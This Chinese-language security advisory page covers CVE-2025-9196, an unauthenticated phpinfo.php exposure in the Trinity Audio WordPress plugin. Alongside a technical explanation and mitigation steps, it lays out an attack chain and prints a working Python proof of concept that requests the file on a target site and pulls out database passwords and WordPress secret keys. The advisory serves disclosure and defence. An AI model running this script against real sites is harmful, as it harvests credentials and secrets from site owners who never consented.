IPBUF安全漏洞报告
English
CVE-2025-9196 CVSS 5.3 中危

CVE-2025-9196:WordPress Trinity Audio插件敏感信息泄露漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-9196
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Trinity Audio – Text to Speech AI audio player (WordPress插件)

相关标签

敏感信息泄露WordPressTrinity Audio插件漏洞phpinfo暴露未认证访问信息泄露CVE-2025-9196中危漏洞WordPress插件安全

漏洞概述

CVE-2025-9196是WordPress平台上Trinity Audio文本转语音AI音频播放器插件中存在的一个敏感信息泄露漏洞。该漏洞由WordFence安全团队的研究员发现,并于2025年10月11日公开披露。Trinity Audio是一款广受欢迎的WordPress插件,能够将网站内容自动转换为音频形式播放,为用户提供无障碍访问体验。然而,该插件在安装过程中会在网站目录中创建一个名为phpinfo.php的文件,位于~/admin/inc/phpinfo.php路径下。该文件直接调用PHP的phpinfo()函数,输出当前PHP环境的详细配置信息,包括但不限于PHP版本信息、编译选项、服务器环境变量、HTTP头信息、文件系统路径、已加载的扩展模块及其配置参数等。由于该文件在安装后未被删除或进行适当的访问限制,任何未认证的网络攻击者都可以通过直接访问该URL来获取服务器的大量敏感配置信息。该漏洞的CVSS评分为5.3分,属于中等严重级别。虽然该漏洞不直接导致代码执行或数据篡改,但泄露的环境信息可能为后续攻击提供重要情报,例如暴露服务器路径、内部IP地址、数据库凭据等敏感信息,从而为更严重的攻击铺平道路。所有版本号小于等于5.21.0的Trinity Audio插件均受此漏洞影响。

技术细节

该漏洞的根本原因在于Trinity Audio插件在安装过程中自动创建了一个phpinfo.php调试文件,但未在安装完成后将其删除或限制访问权限。phpinfo()是PHP语言内置的一个调试函数,用于显示当前PHP环境的全面配置信息。当该函数被放置在Web可访问的目录中时,会成为一个严重的信息泄露源。具体技术细节如下:1) 插件安装脚本在初始化过程中创建~/admin/inc/phpinfo.php文件;2) 该文件包含标准的<?php phpinfo(); ?>代码;3) 由于文件位于Web服务器的文档根目录下,可通过网络直接访问;4) 访问该文件后,服务器返回包含完整PHP配置信息的HTML页面;5) 泄露的信息包括:PHP版本号、构建信息、编译选项、扩展模块列表、服务器API类型、配置文件路径、环境变量(如数据库连接信息、API密钥等)、HTTP头信息、文件系统绝对路径等。攻击者利用方式极其简单,无需任何认证或特殊工具,只需通过浏览器或curl等HTTP客户端直接请求目标URL即可获取敏感信息。虽然该漏洞本身仅造成机密性影响(CVSS中C:L),但泄露的环境信息可被用于辅助其他攻击,如路径遍历、SQL注入、远程代码执行等更严重的攻击行为。

攻击链分析

STEP 1
步骤1:目标识别
攻击者使用搜索引擎(如Google Dorks)或WordPress指纹识别工具,搜索安装了Trinity Audio插件的WordPress网站,识别潜在的攻击目标。
STEP 2
步骤2:漏洞探测
攻击者向目标网站发送HTTP请求,访问/wp-content/plugins/trinity-audio/admin/inc/phpinfo.php路径,验证该文件是否存在且可访问。
STEP 3
步骤3:信息提取
成功访问phpinfo.php后,攻击者获取大量敏感信息,包括PHP版本、服务器路径、环境变量、WordPress密钥(AUTH_KEY、SECURE_AUTH_KEY等)、数据库配置信息等。
STEP 4
步骤4:情报分析
攻击者分析获取的敏感信息,识别可利用的配置弱点,如过期的PHP版本(可能存在已知漏洞)、暴露的数据库凭据、可猜测的密钥等。
STEP 5
步骤5:后续攻击
基于泄露的信息,攻击者可以发动更严重的攻击,如利用已知PHP漏洞进行远程代码执行、使用泄露的WordPress密钥伪造认证、利用数据库凭据进行SQL注入或数据窃取等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-9196 - Trinity Audio Plugin Sensitive Information Exposure PoC # Vulnerability: Unauthenticated access to phpinfo.php file # Affected: Trinity Audio plugin for WordPress <= 5.21.0 import requests import sys def exploit(target_url): """ Exploit CVE-2025-9196 by accessing the exposed phpinfo.php file created by Trinity Audio plugin during installation. """ # The vulnerable file path created during plugin installation vulnerable_path = "/wp-content/plugins/trinity-audio/admin/inc/phpinfo.php" # Construct the full URL full_url = target_url.rstrip('/') + vulnerable_path print(f"[*] Target: {target_url}") print(f"[*] Vulnerable endpoint: {full_url}") try: # Send unauthenticated GET request response = requests.get(full_url, timeout=10, verify=False) if response.status_code == 200: # Check if response contains phpinfo() output if 'phpinfo()' in response.text or 'PHP Version' in response.text: print("[+] Vulnerability confirmed! phpinfo() is accessible") print("[+] Extracting sensitive information...") # Extract key information from phpinfo output sensitive_keys = [ 'PHP Version', 'PHP API', 'Server Root', 'DOCUMENT_ROOT', 'DB_NAME', 'DB_USER', 'DB_PASSWORD', 'AUTH_KEY', 'SECURE_AUTH_KEY', 'LOGGED_IN_KEY', 'NONCE_KEY', 'API_KEY', 'SECRET_KEY' ] for key in sensitive_keys: if key in response.text: # Find the value associated with the key import re pattern = rf'<tr><td class="e">{key}</td><td class="v">(.*?)</td></tr>' match = re.search(pattern, response.text, re.DOTALL) if match: value = match.group(1).strip() print(f"[+] {key}: {value}") # Save full output for further analysis with open('phpinfo_output.html', 'w', encoding='utf-8') as f: f.write(response.text) print("[+] Full phpinfo output saved to phpinfo_output.html") return True else: print("[-] phpinfo content not detected in response") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} https://target-wordpress-site.com") sys.exit(1) target = sys.argv[1] exploit(target)

影响范围

Trinity Audio plugin for WordPress <= 5.21.0

防御指南

临时缓解措施
在等待官方补丁发布或完成升级之前,建议采取以下临时缓解措施:1)通过FTP或文件管理器手动删除/wp-content/plugins/trinity-audio/admin/inc/phpinfo.php文件;2)在.htaccess文件中添加规则禁止访问该文件路径;3)在Nginx或Apache配置中添加相应的访问控制规则;4)使用WordPress安全插件(如Wordfence)配置规则阻止对phpinfo文件的访问请求;5)监控Web服务器日志,及时发现针对该文件的访问尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表